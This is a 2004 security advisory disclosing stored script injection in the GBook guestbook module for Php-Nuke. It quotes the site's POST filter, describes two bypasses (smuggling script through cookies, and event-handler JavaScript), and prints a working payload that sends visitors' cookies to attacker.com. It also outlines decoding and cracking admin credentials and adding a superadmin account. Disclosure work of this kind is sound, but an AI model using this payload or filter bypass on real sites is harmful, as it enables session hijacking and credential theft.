[waraxe-2004-SA#001] - Script injection in GBook for Php-Nuke ver. 1.0
{================================================================================}
{ [waraxe-2004-SA#001]
}
{================================================================================}
{
}
{ [ Script injection in GBook for Php-Nuke ver. 1.0 ]
}
{
}
{================================================================================}
Author: Janek Vind "waraxe"
Date: 02 Feb 2004
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Php-Nuke is popular freeware content management system, written in php by
Francisco Burzi. GBook is guestbook module for Php-Nuke, created by Germán
Cuevas
and Víctor Simental, http://www.php-mania.com.ar
Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Gbook script does`nt sanityze user input at all, so anybody, who can make
entries
to guestbook, can inject there potentially hostile html tags. This can lead to
cookie stealing and extracting usernames and password md5 hashes for Php-Nuke.
Exploit:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Html tags can be injected on many places on guestbook entry - "name",
"email",
"city","message", etc. Choose what you prefer.
Next, GBook uses POST request to submit data to server, but Php-Nuke itself has
filter for $_POST[] variables:
##### Php-Nuke 7.0 mainfile.php line 56 #######################################
foreach ($_POST as $secvalue) {
if ((eregi("<[^>]*script*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*style*\"?[^>]*>", $secvalue))) {
die ("<center><img src=images/logo.gif><br><br><b>The html tags you
attempted to use are not allowed
</b><br><br>[ <a href=\"javascript:history.go(-1)\"><b>Go
Back</b></a> ]");
}
}
###############################################################################
So we can`t directly inject <script> tags to guestbook entry. But we have
many
methods to bypass this filter. I will offer 2 methods:
1. We can use $_COOKIE array to transport variable with "<script>" tags
to GBook
script. Yes, it`s true - Php-Nuke will not filter $_COOKIE array at all!
This can be done by manually editing browser cookies or by using speacially
crafted script.
2. There are many methods to use javascripting without <script> and
<style> tags.
Example:
<img src="foobar" name="waraxe" width="1" height="1">
<img src="images/pix.gif" width="1" height="1" onload="waraxe.src='
http://attacker.com/steal.php?stuff='+escape(document.cookie);">
Your message here...
Ok, we have now cookies from Php-Nuke users, hopefully from admin too, and we
need to
extract usernames and password md5 hashes from them. Just find cookie fields
named
"admin" and/or "user" and base64_decode() them!
Example php implementation can be found on url:
http://www.zone.ee/waraxe/sa001/steal.php
And finally - if we have usernames and password md5 hashes, we have many
choices:
1. We can try to crack md5 hashes to reveal real password.
2. Modify browser cookie manually and then access Php-Nuke site with stolen ID.
3. If we have "superadmin"`s username and pwd md5 hash, then perl script
http://www.zone.ee/waraxe/sa001/god.pl.php
can create additional superadmin account for attacker.
Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greets to ulljobu, djzone, raider and to all computer freaks on Estonia!
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
come2waraxe@xxxxxxxxx
Janek Vind "waraxe"
---------------------------------- [ EOF ] ------------------------------------